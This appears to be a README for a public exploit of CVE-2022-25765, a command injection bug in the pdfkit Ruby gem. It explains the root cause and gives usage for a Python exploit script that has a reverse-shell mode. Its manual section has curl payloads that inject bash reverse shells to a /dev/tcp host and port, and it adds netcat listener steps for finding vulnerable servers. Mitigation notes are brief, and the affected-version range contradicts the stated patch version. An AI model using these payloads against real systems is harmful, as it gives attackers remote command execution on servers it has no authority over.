CVE-2022-25765 — Command Injection in pdfkit

Description

CVE-2022-25765 is a command injection vulnerability affecting pdfkit (Ruby gem) in versions < 0.8.7.2. The vulnerability has a CRITICAL severity with CVSS 9.8, as it allows remote command execution without authentication.

The problem lies in that pdfkit passes the url parameter directly to the shell without sanitization. The library internally executes wkhtmltopdf with a command similar to:

system("wkhtmltopdf --quiet ... '#{url}' output.pdf")

If the URL contains %20 (URL-encoded space) followed by backticks ` or $(), the shell interprets the content as a command and executes it.

CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Technical Details

Root Cause

The vulnerable code in pdfkit (source.rb:44-50):

def command
  args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
  "wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end

The URL is directly interpolated into the shell command without sanitization. By including %20 (space), the content after the space escapes the context of the wkhtmltopdf argument, and a ` or $() allows arbitrary command execution.

Exploit

Original Author

UNICORDev (@NicPWNs and @Dev-Yeoj)

The original exploit is located at:

Requirements

Python 3
requests, urllib3

pip install -r requirements.txt

Usage

# Modo comando personalizado (genera payload)
python3 exploit-CVE-2022-25765.py -c "whoami"

# Modo reverse shell (genera payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444

# Modo web — enviar comando directamente al sitio vulnerable
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url

# Modo web — reverse shell directa al sitio vulnerable
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url

# Ayuda
python3 exploit-CVE-2022-25765.py -h

Parameters

Manual Payload Examples

# Inyección via curl
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"

# O usando $() en lugar de backticks
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"

# Comando simple
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`id\`"

Identification

To identify if a server is vulnerable:

Send a controlled URL and observe the HTTP callback
Check the metadata of the generated PDF: Creator: pdfkit v0.8.6

# Enviar URL y recibir callback
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# Listener: nc -lnvp 4444
# Si recibes la petición con User-Agent: wkhtmltopdf, la app convierte PDFs

# Verificar versión en metadatos del PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Buscar: "Generated by pdfkit v0.8.6" (vulnerable)

Mitigation

Update pdfkit to version ≥ 0.8.7.2
If updating is not possible, sanitize the url parameter to remove dangerous characters (`, $(), %20)
Implement a whitelist of URLs or use a third-party API for PDF generation

CVE	CVE-2022-25765
Product	pdfkit (Ruby gem)
Affected Versions	0.0.0 – 0.8.7.2
Type	Command Injection (CWE-78)
Authentication	Not required
CVSS 3.1	9.8 CRITICAL
Patch	pdfkit ≥ 0.8.7.2

`-c`	Custom command
`-s <IP> <PORT>`	Reverse shell mode
`-w <URL>`	URL of the vulnerable website (optional)
`-p <param>`	POST parameter (optional, default: `url`)
`-h`	Help

CVE-2022-25765-exploit

Most Popular